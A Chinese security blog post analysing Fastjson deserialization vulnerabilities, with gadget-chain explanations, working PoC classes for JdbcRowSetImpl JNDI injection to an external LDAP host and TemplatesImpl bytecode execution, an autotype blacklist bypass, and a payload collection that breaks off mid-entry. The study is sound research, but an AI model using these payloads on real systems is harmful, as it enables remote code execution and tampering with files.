首页 > 编程语言 >Java Fastjson反序列化漏洞研究

Java Fastjson反序列化漏洞研究

时间:2023-11-09 09:35:46浏览次数:61  
标签:Fastjson Java com System JSON org 序列化 type out

一、Fastjson简介

Fastjson是阿里巴巴的一个开源项目,在GitHub上开源,使用Apache 2.0协议。它是一个支持Java Object和JSON字符串互相转换的Java库。

Fastjson最大的特点在于它的快速,它超越了JackJson、Gson等库。据官方发布的说明,Fastjson从2011年fastjson发布1.1.x版本之后,其性能从未被其他Java实现的JSON库超越。因此这是Java中的JSON库的不二选择。

Fastjson功能强大,支持Java Object、Map、Date、Enum等的序列化和反序列化,支持泛型,支持流式处理,支持序列化和反序列化的扩展处理,支持对无源码Java Object的序列化。

Fastjson API入口类是com.alibaba.fastjson.JSON,常用的操作都可以用JSON类上的静态方法直接完成。下面是一些常用API的示例。

// 将Java Object序列化成JSON字符串
public static String toJSONString(Object object);

// 将JSON字符串反序列化为Java Object
public static final JSONObject parseObject(String text);

// 将JSON字符串反序列化为泛型T
public static <T> T parseObject(String text, Class<T> clazz);

以下是一个简单的示例,

UserInfo.java
package org.example;

import com.alibaba.fastjson.*;

class UserInfo
{
    private String name;
    private int age;
    public void setName(String name)
    {
        this.name = name;
    }
    public String getName()
    {
        return name;
    }

    public void setAge(int age)
    {
        this.age = age;
    }
    public int getAge()
    {
        return age;
    }
}

Main.java

package org.example;

import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        UserInfo userInfo = new UserInfo();
        userInfo.setName("LittleHann");
        userInfo.setAge(20);
        // 将对象转换为JSON字符串
        String str = JSON.toJSONString(userInfo);
        System.out.println("JSON = " + str);
        // 将JSON字符串转换为对象
        UserInfo obj = JSON.parseObject(str, UserInfo.class);
        System.out.println("Object = name: " + obj.getName() + ", age: " + obj.getAge());

    }
}

参考链接:

https://github.com/alibaba/fastjson
https://yuankong11.gitbook.io/fastjson/yi-.-fastjson-jian-jie
https://blog.csdn.net/cold___play/article/details/124525519

 

二、Fastjson存在的潜在安全风险

先引入fastjson1.2.24依赖,

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
UserInfo.java
package org.example;

public class UserInfo {
    private String name;
    private int age;
    private String hobby;

    public UserInfo() {
    }

    public UserInfo(String name, int age, String hobby) {
        this.name = name;
        this.age = age;
        this.hobby = hobby;
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setAge");
        this.age = age;
    }

    public String getHobby() {
        return hobby;
    }

    public void setHobby(String hobby) {
        this.hobby = hobby;
    }

    @Override
    public String toString() {
        return "user{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", hobby='" + hobby + '\'' +
                '}';
    }
}

测试类Main.java

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args) {
        UserInfo user = new UserInfo("张三",18,"学习");

        String s1 = JSON.toJSONString(user);
        //String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
        //System.out.println(s2);
        System.out.println("-----------------------------------------------------");
        Object parse = JSON.parse(s1);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse1 = JSON.parseObject(s1);
        System.out.println(parse1);
        System.out.println(parse1.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse2 = JSON.parseObject(s1,Object.class);
        System.out.println(parse2);
        System.out.println(parse2.getClass().getName());

    }
}

其中JSON.toJSONString(user)的功能为将类转换为json字符串,并且在转换的同时调用了get方法,这是fastjson反序列中一个重要的点。

接着往下看,看下面三行代码,

JSON.parse(s1)
JSON.parseObject(s1)
JSON.parseObject(s1,Object.class)

它们输出结果一致,其功能都为将json字符串转化为一个类,且都会转换为JSONObject类,但实则他们的具体实现肯定不一样,

  • parse会转换为@type指定的类
  • parseObject会默认指定JSONObject类
  • 而在parseObject参数中加一个类参数则会转换为其指定的类(这里指定Object会自动转化为JSONObject)

接下来修改一下Main.java代码,

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args) {
        UserInfo user = new UserInfo("张三",18,"学习");

        //String s1 = JSON.toJSONString(user);
        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        //System.out.println(s1);
        System.out.println(s2);
        System.out.println("-----------------------------------------------------");
        Object parse = JSON.parse(s2);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse1 = JSON.parseObject(s2);
        System.out.println(parse1);
        System.out.println(parse1.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse2 = JSON.parseObject(s2,Object.class);
        System.out.println(parse2);
        System.out.println(parse2.getClass().getName());

    }
}

  • 先来看第一部分,
    • 调用了两次get方法这是因为调用了两次toJSONString
    • 接着看s2的输出结果中带有一个@type参数,值为UserInfo类,区别在于在toJSONString中加了一个SerializerFeature.WriteClassName参数,其会将对象类型一起序列化并且会写入到@type字段中
  • 第二部分,parse进行反序列化,因此json字符串中有@type因此会自动执行指定类的set方法,并且会转换为@type指定类的类型
  • 第三部分,parseObject进行反序列话时会自动执行@type指定类的get和set方法,并且转换为JSONObject类
  • 第四部分,虽然我们指定了类为Object类,但是我们传进去的json字符串中有@type指定的类导致其会转换为其指定的类,并自动执行了指定类的set方法

第一和第二部分很普通没什么可说的,我们重点来分析一下第三和第四部分。

对第三部分的parseObject()下断点调试,

先进行了parse然后执行toJSON并且强制转换为JSONObject类,其中parse会调用set方法,toJSON会调用get方法。

对第四部分的parseObject()下断点调试, 

虽然我们指定了类为Object类,但是我们传进去的json字符串中有@type指定的类导致其会转换为其指定的类,为什么指定了Object类后输出结果却为@type指定的类型?

继续跟踪代码,在com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze中进行了对type的判断也就是一开始传的Object.class,会首先判断是否是类,然后如果是Object.class和Serializable.class的话会直接进入到parser.parse(fieldName)中,

继续往下跟进会进入到DefaultJSONParser中,会提取@type的值转换为其指定的类,

攻击者可以通过@type将外部JSON输入反序列化为特定恶意类(存在gadget利用链的恶意类),攻击者可以通过反序列化Beans注册机制赋值设置类成员值,同时因为恶意类的setter/getter会自动反射执行(通过反射取值和赋值),同时又因为setter/getter中存在风险操作。这里就给了攻击者利用setter/getter方式构造一个恶意类gadgets,当业务代码中存在JSON.parseObject("攻击者可控JSON输入",Object.class)时,就可能导致fastjson反序列化漏洞。

其中getter自动调用还需要满足以下条件: 

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

setter自动调用需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

除此之外Fastjson还有以下功能点:

  • 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数
  • fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略"_","-"字符串
  • fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

一个题外话,fastjson的风险面原理和Jackson反序列化漏洞的风险面原理类似。

参考链接:

 

三、Fastjson 1.2.24 gadgets原理分析

在这个版本中有两条链子:

  1. com.sun.rowset.JdbcRowSetImpl
  2. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

0x1:com.sun.rowset.JdbcRowSetImpl

json payload如下,

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://a465b45cdf.ipv6.1433.eu.org/evil","autoCommit":true}

poc1.java

package org.example;

import com.alibaba.fastjson.JSON;

public class poc1 {
    public static void main(String[] args) {
        String json_input = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://a465b45cdf.ipv6.1433.eu.org/evil\",\"autoCommit\":true}";
        System.out.println(json_input);
        System.out.println("-----------------------------------------------------");

        Object parse = JSON.parseObject(json_input,Object.class);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
    }
}

fastjson的反序列化风险面上一章已经分析过了不再赘述,

这里直接来看一下JdbcRowSetImpl中的setAutoCommit函数,当this.conn为null的时候会进入到this.connect()中,而this.conn在构造函数中初始为null。

继续跟进可以看见var1.lookup()经典的JNDI注入,且DataSourceName可控,

最终导致JNDI注入。 

总结一下漏洞触发的原理:

  • 业务代码中存在JSON.parseObject("攻击者可控JSON输入",Object.class),fastjson会按照传入JSON中@type指定的“com.sun.rowset.JdbcRowSetImpl”类进行反序列化
  • fastjson会将JSON中的key-value注册为类成员时,会自动通过反射动态调用“com.sun.rowset.JdbcRowSetImpl”类的setter/getter函数,在本gadget中就是setAutoCommit()
  • fastjson会将JSON中的key-value注册为类成员,这给了攻击者控制对应类成员value值的机会,在本gadget中就是this.getDataSourceName()
  • “com.sun.rowset.JdbcRowSetImpl”的setAutoCommit()中存在lookup风险操作,同时参数就是攻击者可控的this.getDataSourceName()

综上因素,攻击者构造了一个fastjson反序列化“com.sun.rowset.JdbcRowSetImpl”gadget链,实现了JNDI注入的攻击目的。

0x2:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

payload生成,

/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/bin/java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app/Contents/MacOS/Calculator '|base64

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AD4vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yIHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4

也可以自己编译生成gadget并进行base64加密得到_bytecodes,

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class gadget {

        public static class test{
        }

        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get(test.class.getName());

            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

            cc.makeClassInitializer().insertBefore(cmd);

            String randomClassName = "nice0e3"+System.nanoTime();
            cc.setName(randomClassName);

            cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));


            try {
                byte[] evilCode = cc.toBytecode();
                String evilCode_base64 = Base64.encodeBase64String(evilCode);
                final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                String text1 = "{"+
                        "\"@type\":\"" + NASTY_CLASS +"\","+
                        "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                        "'_name':'a.b',"+
                        "'_tfactory':{ },"+
                        "'_outputProperties':{ }"+
                        "}\n";

                System.out.println(text1);

                ParserConfig config = new ParserConfig();
                Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

} 

json payload如下,

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AD4vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yIHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}

poc2.java

package org.example;

import com.alibaba.fastjson.JSON;

public class poc2 {
    public static void main(String[] args) {

        String json_input = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AD4vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yIHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
        System.out.println(json_input);
        System.out.println("-----------------------------------------------------");

        Object parse = JSON.parseObject(json_input,Object.class);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
    }
}

这个链子利用条件比较苛刻,因为要用到的变量都是private的需要在反序列化时加上Feature.SupportNonPublicField参数。

先来看一下TemplatesImpl的getOutputProperties方法,它是_outputProperties的getter方法,在前面讲到过Fastjson的一些其它功能点就是在为类属性调用getter/setter时会调用smartMatch()忽略掉_ -字符串,这里还用到了另一个功能点就是因为最后payload为byte[]会进行base64编码。

继续往下看这里会去调用newTransformer(),在newTransformerImpl对象时会进入到getTransletInstance()中,

继续跟进,在getTransletInstance()中,如果在_name不等于null且_class等于null时会进入到defineTransletClasses()中,

这里先继续往下看,其中_transletIndex为-1,也就是说会对_class数组中的第一个类进行实例化,并且会强制转换为AbstractTranslet,接下来来看下class是怎么来的。

跟进到defineTransletClasses()中,通过for循环加载_bytecodes[]来加载类,也就是说_bytecodes[]就是我们构造注入的点,其中_tfactory不为null,并且因为加载完类后会强制类型转换为AbstractTranslet,也就是说加载的类必须为AbstractTranslet的子类,这样整条链子构造完毕了。

总结一下TemplatesImpl链子要满足的点:

  • fastjson反序列化时需有Feature.SupportNonPublicField参数
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name不为null
  • _tfactory不为null

TemplatesImpl gadget执行链:

#!java
TemplatesImpl.getOutputProperties()
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
      TemplatesImpl.defineTransletClasses()
        ClassLoader.defineClass()
        Class.newInstance()
          ...
            MaliciousClass.<clinit>()
            //class新建初始化对象后,会执行恶意类中的静态方法,即:我们插入的恶意java代码
              ...
                Runtime.exec()//这里可以是任意java代码,比如:反弹shell等等。  

参考链接:

http://drops.xmd5.com/static/drops/papers-14317.html

 

四、Fastjson 1.2.25-1.2.41 gadgets原理分析

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.26</version>
        </dependency>
    </dependencies>

0x1:com.sun.rowset.JdbcRowSetImpl

poc1.java

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class poc2 {
    public static void main(String[] args) {

        String json_input = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://a465b45cdf.ipv6.1433.eu.org/evil\",\"autoCommit\":true}";
        System.out.println(json_input);
        System.out.println("-----------------------------------------------------");

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
        Object parse = JSON.parseObject(json_input,Object.class);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
    }
}

在此版本中,fastjson主要进行了两项漏洞修复:

  • 新增了黑名单和白名单功能,在ParserConfig中,可以看到黑名单的内容
  • 在ParserConfig中,设置了一个autoTypeSupport用来控制是否可以反序列化,autoTypeSupport默认为false且禁止反序列化,为true时会使用checkAutoType来进行安全检测

接着来看一下checkAutoType怎么进行拦截的,在autoTypeSupport开启的情况下先通过白名单进行判断,如果符合的话就进入TypeUtils.loadClass,然后在通过黑名单进行判断,如果在黑名单中就直接抛出异常。

接着继续往下看,从Mapping中寻找类然后继续从deserializers中寻找类,如果autoTypeSupport没有开启的情况下,会对指定的@type类进行黑白名单判断,然后抛出异常,最后如果autoTypeSupport开启的情况下,会再一次进行判断然后进入到TypeUtils.loadClass中,

在TypeUtils.loadClass中,可以看到对"[ L ;"进行了处理,而其中在处理"L ;"的时候存在了逻辑漏洞,可以在@type的前后分别加上“L ;”来进行绕过。

至此绕过checkAutoType的检查逻辑,后续利用过程和上文一样,不再赘述。

 

五、Fastjson 1.2.42 gadgets原理分析

参考链接:

https://tttang.com/archive/1579/
https://www.cnblogs.com/nice0e3/p/14601670.html
https://xz.aliyun.com/t/12096

 

六、gadgets payload集合

JdbcRowSetImpl

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://127.0.0.1:23457/Command8",
    "autoCommit": true
}

TemplatesImpl

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgA...k="],
    '_name': 'su18',
    '_tfactory': {},
    "_outputProperties": {},
}

JndiDataSourceFactory

{
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
      "data_source": "ldap://127.0.0.1:23457/Command8"
    }
}

SimpleJndiBeanFactory

{
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "ldap://127.0.0.1:23457/Command8",
    "propertyPath": "su18",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://127.0.0.1:23457/Command8"
      ]
    }
}

DefaultBeanFactoryPointcutAdvisor

{
  "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
   "beanFactory": {
     "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
     "shareableResources": [
       "ldap://127.0.0.1:23457/Command8"
     ]
   },
   "adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
   "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

{
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
  }

JndiRefForwardingDataSource

{
    "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "loginTimeout": 0
  }

InetAddress

{
    "@type": "java.net.InetAddress",
    "val": "http://dnslog.com"
}

Inet6Address

{
    "@type": "java.net.Inet6Address",
    "val": "http://dnslog.com"
}

URL

{
    "@type": "java.net.URL",
    "val": "http://dnslog.com"
}

JSONObject

{
    "@type": "com.alibaba.fastjson.JSONObject",
    {
        "@type": "java.net.URL",
        "val": "http://dnslog.com"
    }
}
""
}

URLReader

{
    "poc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.alibaba.fastjson.JSONReader",
        "reader": {
            "@type": "jdk.nashorn.api.scripting.URLReader",
            "url": "http://127.0.0.1:9999"
        }
    }
}

AutoCloseable 任意文件写入

{
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
    "out": {
        "@type": "java.io.FileOutputStream",
        "file": "/path/to/target"
    },
    "parameters": {
        "@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
        "filename": "filecontent"
    }
}

BasicDataSource

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
  "driverClassLoader" :
  {
    "@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
  }
}

JndiConverter

{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "AsText": "ldap://127.0.0.1:23457/Command8"
}

JtaTransactionConfig

{
    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    "properties": {
        "@type": "java.util.Properties",
        "UserTransaction": "ldap://127.0.0.1:23457/Command8"
    }
}

JndiObjectFactory

{
    "@type": "org.apache.shiro.jndi.JndiObjectFactory",
    "resourceName": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig2

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

CacheJndiTmLookup

{
    "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
    "jndiNames": "ldap://127.0.0.1:23457/Command8"
}

AutoCloseable 清空指定文件

{
